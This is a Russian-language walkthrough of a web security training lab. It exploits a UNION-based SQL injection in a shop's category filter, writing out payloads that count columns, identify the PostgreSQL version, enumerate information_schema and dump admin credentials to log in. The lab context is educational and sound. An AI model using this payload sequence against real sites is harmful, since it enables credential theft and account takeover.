В данной лабе есть уязвимый к SQL injection фильтр категории. Для решения нужно получить учетные данные администратора и залогиниться от его имени.
https://0a8a00d103c143f285ba801000a10039.web-security-academy.net/
Solution
Такс, ну из условия известно, что уязвимость в фильтре категорий. Возьму URL с фильтром для Gifts:
https://0a8a00d103c143f285ba801000a10039.web-security-academy.net/filter?category=Gifts
Время подбирать обрамление. Из моего опыта с лабами предположу, что тут снова одинарная кавычка) Попробую следующий пейлоад:
Gifts' and false-- -
Если страница ломается или возвращает другую страницу — значит SQL-инъекция сработала. Все так:

Скорее всего 2 колонки в запросе. Поэтому попробую ORDERY BY 3 и ORDER BY 2:
Gifts' and false ORDER BY 3-- -Error
Gifts' and false ORDER BY 2-- -Ok
Пояснение
ORDER BY N в SQL-запросe: если N превышает реальное количество столбцов — БД вернёт ошибку, если N корректно — запрос выполнится без ошибок.Теперь нужно получить информацию о БД. Для этого буду использовать UNION в пейлоаде:
Gifts' and false UNION SELECT 1, 2-- -Error
Gifts' and false UNION SELECT '1', '2'-- -
Пояснение
UNION SELECT — это оператор в SQL, который объединяет результаты SELECT-запросов в один. Когда веб-приложение вставляет данные пользователя в **SQL-запрос** без фильтрации или экранирования, можно добавить UNION SELECT к своему вводу, чтобы вытянуть данные из других таблиц, даже если они не должны быть показаны. В данном решении выбираются ранее обнаруженные колонки.
Теперь буду получать информацию о БД:
Gifts' and false UNION SELECT database(), version()-- -Error
Gifts' and false UNION SELECT '1', version()-- -
Пояснение
Это важно, потому что системные таблицы отличаются в MySQL, PostgreSQL и Oracle.
У меня БД PostgreSQL 12.20.
Теперь нужно вытащить доступные таблицы из системной таблицы informaiton_schema:
Gifts' and false UNION SELECT table_name, NULL FROM information_schema.tables-- -
Пояснение
information_schema — служебные таблицы, содержащие метаинформацию (про таблицы, поля и т.д.).Я получил список всех таблиц:

С помощью поиска на странице я нашел таблицу users_uajicb. Попробую поработать с ней.

Вытащу доступные колонки из нее:
Gifts' and false UNION SELECT 'columns', column_name FROM information_schema.columns WHERE table_name = 'users_uajicb'-- -

Я узнал, что в таблице users_uajicb содержатся следующие колонки: email, password_fiazmh, username_gwsbij. Теперь выведу их содержимое с помощью следующего пейлоада:
Gifts' and false UNION SELECT username_gwsbij, concat(username_gwsbij, ':', password_fiazmh, ':', email) FROM users_uajicb-- -

Зайду в аккаунт администратора:

Пуф. Лаба пройдена:3 ☕